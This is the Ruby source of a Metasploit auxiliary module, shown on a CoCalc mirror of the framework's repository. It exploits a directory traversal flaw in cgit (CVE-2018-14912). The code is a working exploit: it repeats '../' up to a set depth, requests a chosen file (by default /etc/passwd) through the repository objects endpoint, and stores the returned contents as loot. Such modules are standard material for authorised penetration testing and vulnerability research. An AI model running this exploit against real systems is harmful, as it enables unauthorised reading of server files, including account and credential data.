CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/cgit_traversal.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'cgit Directory Traversal',
14
'Description' => %q{
15
This module exploits a directory traversal vulnerability which
16
exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the
17
configuration flag enable-http-clone is set to 1 (default).
18
},
19
'References' =>
20
[
21
['CVE', '2018-14912'],
22
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627'],
23
['EDB', '45148']
24
],
25
'Author' =>
26
[
27
'Google Project Zero', # Vulnerability discovery
28
'Dhiraj Mishra' # Metasploit module
29
],
30
'DisclosureDate' => '2018-08-03',
31
'License' => MSF_LICENSE
32
))
33
34
register_options(
35
[
36
OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),
37
OptString.new('TARGETURI', [true, "The base URI path of the cgit install", '/cgit/']),
38
OptString.new('REPO', [true, "Git repository on the remote server", '']),
39
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 10 ])
40
])
41
end
42
43
def run_host(ip)
44
filename = datastore['FILEPATH']
45
traversal = "../" * datastore['DEPTH'] << filename
46
47
res = send_request_cgi({
48
'method' => 'GET',
49
'uri' => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'),
50
'vars_get' => {'path' => traversal}
51
})
52
53
unless res && res.code == 200
54
print_error('Nothing was downloaded')
55
return
56
end
57
58
vprint_good("#{peer} - \n#{res.body}")
59
path = store_loot(
60
'cgit.traversal',
61
'text/plain',
62
ip,
63
res.body,
64
filename
65
)
66
print_good("File saved in: #{path}")
67
end
68
end
69
70